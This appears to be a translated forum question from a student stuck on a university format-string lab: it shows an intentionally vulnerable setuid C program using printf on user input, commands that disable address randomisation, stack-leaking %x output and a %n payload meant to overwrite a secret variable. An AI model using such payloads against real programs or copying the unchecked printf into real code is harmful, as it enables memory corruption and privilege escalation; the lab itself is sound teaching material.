0

网络安全一年级学生(我对很多东西都很陌生,比如 Linux 等)

我在我的实验室中修改秘密值时遇到了一些问题。这是我需要做的

  • gcc -z execstack -o vul_prog vul_prog.c

  • sudo chown root vul_prog

  • sudo chmod +s vul_prog

使用字符串格式漏洞Crash程序成功执行以下操作

  • 打印秘密值秘密

  • 修改秘密值secret

  • 用预定值0x42454546修改秘密值secret

  • 获得一个 root shell(额外的学分)

这是我们正在使用的代码

/*vul_prog.c*/
#include<stdio.h>
#include<stdlib.h>

#define SECRET 0x44

int main(int argc, char*argv[]) {
    char user_input[200];
    int secret;
    int a, b, c, d; /*other variables, not used here.*/

    /*getting the secret*/
    secret = SECRET;

    printf("The variable secret’s address is 0x%8x\n", (unsigned int)&secret);
    printf("The variable secret’s value is 0x%x or %d\n", (unsigned int)secret, secret);

    printf("Please enter a string\n");
    scanf("%s", user_input); /*getting a string from user*/

    /*Vulnerable place*/
    printf(user_input);
    printf("\n");

    /*Verify whether your attack is successful*/
    printf("The original secret: 0x%x or %d\n", SECRET, SECRET);
    printf("The new secret: 0x%x or %d\n", secret, secret);

    return 0;
}

我知道我的秘密价值是什么,但我无法修改它。我知道我必须使用的命令。我需要修改 44 的存储位置。在我的例子中,地址是 0xbfffeb60

[10/23/19]seed@VM:~/Desktop$ ./vul_prog
The variable secret’s address is 0xbfffeb60
The variable secret’s value is 0x44 or 68
Please enter a string
.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.bfffeb64.44.b7fd6b28.b7ff37ec.0.b7fff000.bfffece4.44.2e78252e.252e7825
The original secret: 0x44 or 68
The new secret: 0x44 or 68

到目前为止我使用的命令

sudo sysctl -w kernel.randomize_va_space=0

gcc -z execstack -o vul_prog vul_prog.c

sudo chown root vul_prog

sudo chmod +s vul_prog

之后,我运行程序./vul_prog并输入一堆 %x 以打印出地址。我的教授说代码vul_prog.c是从原始代码稍微修改的,我的书使用原始代码,并给出了如何使用修改它的步骤

echo $(printf "\x04\xf3\xff\xbf").%x.%x.%x.%x.%x.%n > input

vul < input

这是输入文件之后的样子

Póÿ¿.%x.%x.%x.%x.%x.%x.%x.%x.%n

运行这些命令后,没有任何变化。然后我在最后添加了 3 个 ".%x" 和 %n,但仍然没有。当我尝试只用

.%x.%x.%x.%x.%x.%x.%x.%x.%n

它会给我一个分段错误

我今天早上试着给他发电子邮件,问他我是否可以在他的办公室见他,告诉他我做错了什么,他还没有回复,所以我希望能从任何专家那里得到更多指导在他的领域。

如果需要,我会添加更多信息。

4

0 回答 0